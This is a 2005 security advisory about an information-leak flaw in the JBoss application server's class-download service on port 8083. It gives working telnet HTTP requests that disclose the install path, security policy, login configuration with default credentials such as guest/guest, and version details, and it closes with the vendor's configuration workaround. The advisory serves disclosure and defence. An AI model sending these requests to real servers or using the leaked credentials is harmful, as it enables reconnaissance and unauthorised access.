JBOSS 3.2.2-3.2.7 / 4.0.2 installation path disclosure / config disclosure / version fingerprinting

[Marc Schoenefeld <marc.schoenefeld@xxxxxxx>]

Security Advisory: JBOSS 3.2.2-3.2.7 / 4.0.2 installation path 
disclosure / config disclosure / version fingerprinting
Date:  14/06/05
URL: http://www.illegalaccess.org/java/jboss_path.php

Problem:
The default installation of JBoss reveals the path of the installation 
directory and
allows fingerprinting of the server software version by an 
unauthenticated HTTP request.
This is due to an information leak bug in the org.jboss.web.WebServer 
class.
Unfortunately the JBoss developers did not follow the pattern of 
software reuse
and invented their own webserver for RMI code download. The implementation
when confronted with an expected HTTP request such as 'GET %.' reveals
system platform information useful for an attacker. Due to the 
classloader architecture
the RMI class download service on port 8083 also allows an attacker to 
fingerprint
the version of the JBoss server and with version 4.0.2 to download all 
config files such
as the security settings from the /conf directory.

Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %. HTTP/1.0

Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff 
verweigert)
Content-Type: text/html

Example 2 (Config file download): [4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %server.policy  HTTP/1.0

Replz>

HTTP/1.0 200 OK
Content-Length: 550
Content-Type: text/html

/// 
====================================================================== ///
//                                                                          
//
//  JBoss Security Policy                                       //
//                                                                      //
/// 
====================================================================== ///

// $Id: server.policy,v 1.4 2003/08/27 04:31:53 patriot1burke Exp $
grant {
          // Allow everything for now
permission java.security.AllPermission;
};
Verbindung zu Host verloren.

Example 3 (Login config disclosure): [3.2.x and 4.0.2]:
Request
>> telnet [jbosshost] 8083
>> GET %login-config.xml

HTTP/1.0 200 OK
Content-Length: 6692
Content-Type: text/html
<?xml version='1.0'?>
<!DOCTYPE policy PUBLIC
   "-//JBoss//DTD JBOSS Security Config 3.0//EN"
   "http://www.jboss.org/j2ee/dtd/security_config.dtd";>
[...]
 <!-- Security domains for testing new jca framework -->
 <application-policy name = "HsqlDbRealm">
    <authentication>
       <login-module code = 
"org.jboss.resource.security.ConfiguredIdentityLoginModule"
          flag = "required">
          <module-option name = "principal">sa</module-option>
          <module-option name = "userName">sa</module-option>
          <module-option name = "password"></module-option>
          <module-option name = 
"managedConnectionFactoryName">jboss.jca:service=LocalTxCM,name=DefaultDS</module-option> 

       </login-module>
    </authentication>
 </application-policy>

 <application-policy name = "JmsXARealm">
    <authentication>
       <login-module code = 
"org.jboss.resource.security.ConfiguredIdentityLoginModule"
          flag = "required">
          <module-option name = "principal">guest</module-option>
          <module-option name = "userName">guest</module-option>
          <module-option name = "password">guest</module-option>
          <module-option name = 
"managedConnectionFactoryName">jboss.jca:service=TxCM,name=JmsXA</module-option> 

       </login-module>
    </authentication>
 </application-policy>
[...]


Example 4 (Version fingerprint): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %org/jboss/version.properties HTTP/1.0

Reply:
HTTP/1.0 200 OK
Content-Length: 1138
Content-Type: text/html

### 
====================================================================== ###
##                                                                         
##
##  Holds version properties for 
JBoss.                                     ##
##                                                                  ##
## 
====================================================================== ###

### $Id: version.properties,v 1.1.26.1 2004/10/17 21:20:13 starksm Exp $ 
###

# The version of the server
version.major=4
version.minor=0
version.revision=2
version.tag=
version.name=Zion
version.cvstag=JBoss_4_0_2

# Build identifiers
build.number=200505022023

[and so on]

Severity:
Risk of information leakage.

Workaround:
The JBoss group was contacted on 6/12/05 and reacted with the suggestion 
to completely disable the
download of server classes. But this brutal fix severely damages the 
functionality and usefulness
of the application server :-( . It seems that they do not consider this 
to be a bug that needs
a fix. I leave this uncommented... but anyway the following XML snippets 
demonstrates their fix...

<mbean code="org.jboss.web.WebService"
   name="jboss:service=WebService">
   <attribute name="Port">8083</attribute>
   <!-- Should resources and non-EJB classes be downloadable -->
<!-- old      <attribute name="DownloadServerClasses">true</attribute>  -->
<!-- new -->  <attribute name="DownloadServerClasses">false</attribute>    
   <attribute name="Host">${jboss.bind.address}</attribute>
   <attribute name="BindAddress">${jboss.bind.address}</attribute>
</mbean>